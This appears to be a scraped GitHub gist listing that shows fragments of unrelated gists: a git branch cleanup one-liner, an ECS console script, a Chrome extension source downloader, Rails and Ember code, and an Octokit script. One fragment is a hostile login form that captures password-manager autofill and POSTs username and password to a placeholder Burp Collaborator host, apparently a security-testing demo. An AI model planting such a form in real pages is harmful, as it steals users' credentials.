<details>
<summary>Click me</summary>
### Heading
1. Foo
2. Bar
* Baz
* Qux
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git fetch -p && git branch -vv | awk '/: gone]/{print $1}' | xargs git branch -d |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash -e | |
## | |
# Use this annotated script a base for launching an interactive console task on Amazon ECS | |
# | |
# more info: https://engineering.loyaltylion.com/running-an-interactive-console-on-amazon-ecs-c692f321b14d | |
# | |
# Requirements: | |
# - `jq` must be installed on both the client and server | |
## |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// if users use password managers to autofill credentials | |
<input name='username' id='username'> | |
<input type='password' name='password' onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{ | |
method:'POST', | |
mode: 'no-cors', | |
body:username.value+':'+this.value | |
});"> |
extension_id=jifpbeccnghkjeaalbbjmodiffmgedin # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
Thx to crxviewer for the magic download URL.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Copy this into the console of any web page that is interactive and doesn't | |
do hard reloads. You will hear your DOM changes as different pitches of | |
audio. | |
I have found this interesting for debugging, but also fun to hear web pages | |
render like UIs do in movies. | |
*/ | |
const audioCtx = new (window.AudioContext || window.webkitAudioContext)() |
In our app, we have a number of different has-zero-or-one relationships where the foreign object may or may not exist.
For example, a Customer
may or may not have a CreditCard
on file, but it won't have more than one.
We started with something like
// app/models/customer.js
export default DS.Model.extend({
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# require 'active_support/core_ext/class/attribute' | |
module ActiveModel | |
# == Active Model YAML Serializer | |
module Serializers | |
module YAML | |
extend ActiveSupport::Concern | |
include ActiveModel::Serialization | |
included do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This file extends and overrides parts of the ActiveAdmin DSL and internals | |
# in order to provide support for automatically displaying and editing images, | |
# which in our infrastructure are stored as URLs whose column names end in "img". | |
# Since this file will be reloaded frequently in the development environment, | |
# all operations done at load time (class_eval's, etc.) MUST be idempotent. | |
ActiveAdmin::Views::TableFor.class_eval do | |
def img_column(col_sym=:img, title="Image") | |
column title, sortable: false do |obj| |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'octokit' | |
username = '' | |
password = '' | |
org_name = 'honeypotio' | |
board_name = 'The Agile Bear' | |
column_name = 'Live/Done' | |
client = Octokit::Client.new(login: username, password: password) | |
user = client.user |